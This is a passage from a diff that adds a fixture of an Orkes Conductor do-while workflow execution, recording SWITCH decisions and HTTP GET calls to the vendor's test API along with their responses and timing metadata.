defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_cool", + taskReferenceName: "http_ref_cool", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 3: [ + { + name: "http_five", + taskReferenceName: "http_ref_five", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_second", + taskReferenceName: "http_second_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_four", + taskReferenceName: "http_ref_four_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "graaljs", + expression: + "(function () {\n const number = Math.floor(Math.random() * (4 - 1 + 1)) + 1;\n return number;\n }())", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 7, + subworkflowChanged: false, + loopOverTask: true, + taskDefinition: null, + queueWaitTime: 0, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_second_ref__7", + retryCount: 0, + seq: 20, + pollCount: 1, + taskDefName: "http_second", + scheduledTime: 1711431103885, + startTime: 1711431103967, + endTime: 1711431103976, + updateTime: 1711431103967, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "20d3b134-eb32-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test", + taskId: "218d1638-eb32-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d46b7c7b5-m5hcf", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 05:31:43 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2929, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "ksityuwtdupeziewwqyh", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_second", + taskReferenceName: "http_second_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 7, + subworkflowChanged: false, + loopOverTask: true, + taskDefinition: null, + queueWaitTime: 82, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_four_ref__7", + retryCount: 0, + seq: 21, + pollCount: 1, + taskDefName: "http_four", + scheduledTime: 1711431103979, + startTime: 1711431104077, + endTime: 1711431104088, + updateTime: 1711431104078, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "20d3b134-eb32-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test", + taskId: "219b6e19-eb32-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d46b7c7b5-m5hcf", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 05:31:44 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 1547, + hostName: "orkes-api-sampler-67dfc8cf58-mzb8h", + randomString: "xlttyspawtakwfzgslan", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_four", + taskReferenceName: "http_ref_four_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 7, + subworkflowChanged: false, + loopOverTask: true, + taskDefinition: null, + queueWaitTime: 98, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + "": "", + hasChildren: "true", + _createdBy: "najeeb.thangal@orkes.io", + case: "2", + }, + referenceTaskName: "switch_ref__8", + retryCount: 0, + seq: 22, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1711431104107, + startTime: 1711431104107, + endTime: 1711431104107, + updateTime: 1711431104107, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "20d3b134-eb32-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test", + taskId: "21ad215a-eb32-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["2"], + selectedCase: "2", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + "": "", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_third", + taskReferenceName: "http_third_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_cool", + taskReferenceName: "http_ref_cool", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 3: [ + { + name: "http_five", + taskReferenceName: "http_ref_five", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_second", + taskReferenceName: "http_second_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_four", + taskReferenceName: "http_ref_four_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "graaljs", + expression: + "(function () {\n const number = Math.floor(Math.random() * (4 - 1 + 1)) + 1;\n return number;\n }())", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 8, + subworkflowChanged: false, + loopOverTask: true, + taskDefinition: null, + queueWaitTime: 0, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_third_ref__8", + retryCount: 0, + seq: 23, + pollCount: 1, + taskDefName: "http_third", + scheduledTime: 1711431104104, + startTime: 1711431104188, + endTime: 1711431104198, + updateTime: 1711431104188, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "20d3b134-eb32-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test", + taskId: "21ae80eb-eb32-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d46b7c7b5-m5hcf", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 05:31:44 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5290, + hostName: "orkes-api-sampler-67dfc8cf58-sts78", + randomString: "ucbkmlxiyqnyakiqggrj", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_third", + taskReferenceName: "http_third_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 8, + subworkflowChanged: false, + loopOverTask: true, + taskDefinition: null, + queueWaitTime: 84, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_cool__8", + retryCount: 0, + seq: 24, + pollCount: 1, + taskDefName: "http_cool", + scheduledTime: 1711431104200, + startTime: 1711431104298, + endTime: 1711431104307, + updateTime: 1711431104298, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "20d3b134-eb32-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test", + taskId: "21bd26ec-eb32-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d46b7c7b5-m5hcf", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Tue, 26 Mar 2024 05:31:44 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 363, + hostName: "orkes-api-sampler-67dfc8cf58-jk6kd", + randomString: "hhlhczvqswurlwzjclyi", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_cool", + taskReferenceName: "http_ref_cool", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 8, + subworkflowChanged: false, + loopOverTask: true, + taskDefinition: null, + queueWaitTime: 98, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + "": "", + hasChildren: "true", + _createdBy: "najeeb.thangal@orkes.io", + case: "4", + }, + referenceTaskName: "switch_ref__9", + retryCount: 0, + seq: 25, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1711431104328, + startTime: 1711431104328, + endTime: 1711431104328, + updateTime: 1711431104328, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "20d3b134-eb32-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test", + taskId: "21ce64fd-eb32-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["4"], + selectedCase: "4", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + "": "", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_third", + taskReferenceName: "http_third_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_cool", + taskReferenceName: "http_ref_cool", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 3: [ + { + name: "http_five", + taskReferenceName: "http_ref_five", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_second", + taskReferenceName: "http_second_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_four", + taskReferenceName: "http_ref_four_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "graaljs", + expression: + "(function () {\n const number = Math.floor(Math.random() * (4 - 1 + 1)) + 1;\n return number;\n }())", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 9, + subworkflowChanged: false, + loopOverTask: true, + taskDefinition: null, + queueWaitTime: 0, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_second_ref__9", + retryCount: 0, + seq: 26, + pollCount: 1, + taskDefName: "http_second", + scheduledTime: 1711431104326, + startTime: 1711431104408, + endTime: 1711431104419, + updateTime: 1711431104408, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "20d3b134-eb32-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test", + taskId: "21d060ce-eb32-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d46b7c7b5-m5hcf", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 05:31:44 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5292, + hostName: "orkes-api-sampler-67dfc8cf58-dcsmz", + randomString: "zejbepozxwbqfguyhkal", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_second", + taskReferenceName: "http_second_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 9, + subworkflowChanged: false, + loopOverTask: true, + taskDefinition: null, + queueWaitTime: 82, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_four_ref__9", + retryCount: 0, + seq: 27, + pollCount: 1, + taskDefName: "http_four", + scheduledTime: 1711431104421, + startTime: 1711431104520, + endTime: 1711431104529, + updateTime: 1711431104520, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "20d3b134-eb32-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test", + taskId: "21dedfbf-eb32-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d46b7c7b5-m5hcf", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Tue, 26 Mar 2024 05:31:44 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 234, + hostName: "orkes-api-sampler-67dfc8cf58-xsh5s", + randomString: "ynvpazmgmmwgqjxnilxo", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_four", + taskReferenceName: "http_ref_four_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 9, + subworkflowChanged: false, + loopOverTask: true, + taskDefinition: null, + queueWaitTime: 99, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + "": "", + hasChildren: "true", + _createdBy: "najeeb.thangal@orkes.io", + case: "4", + }, + referenceTaskName: "switch_ref__10", + retryCount: 0, + seq: 28, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1711431104548, + startTime: 1711431104548, + endTime: 1711431104548, + updateTime: 1711431104548, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "20d3b134-eb32-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test", + taskId: "21f044e0-eb32-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["4"], + selectedCase: "4", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + "": "", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_third", + taskReferenceName: "http_third_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_cool", + taskReferenceName: "http_ref_cool", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 3: [ + { + name: "http_five", + taskReferenceName: "http_ref_five", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_second", + taskReferenceName: "http_second_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_four", + taskReferenceName: "http_ref_four_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "graaljs", + expression: + "(function () {\n const number = Math.floor(Math.random() * (4 - 1 + 1)) + 1;\n return number;\n }())", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + loopOverTask: true, + taskDefinition: null, + queueWaitTime: 0, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_second_ref__10", + retryCount: 0, + seq: 29, + pollCount: 1, + taskDefName: "http_second", + scheduledTime: 1711431104546, + startTime: 1711431104629, + endTime: 1711431104639, + updateTime: 1711431104629, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "20d3b134-eb32-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test", + taskId: "21f1f291-eb32-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d46b7c7b5-m5hcf", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 05:31:44 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 7926, + hostName: "orkes-api-sampler-67dfc8cf58-ktrql", + randomString: "rzcxmijtfvpcvxqrtblg", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_second", + taskReferenceName: "http_second_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + loopOverTask: true, + taskDefinition: null, + queueWaitTime: 83, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_four_ref__10", + retryCount: 0, + seq: 30, + pollCount: 1, + taskDefName: "http_four", + scheduledTime: 1711431104642, + startTime: 1711431104739, + endTime: 1711431104747, + updateTime: 1711431104739, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "20d3b134-eb32-11ee-8b0a-0e6876359850", + workflowType: 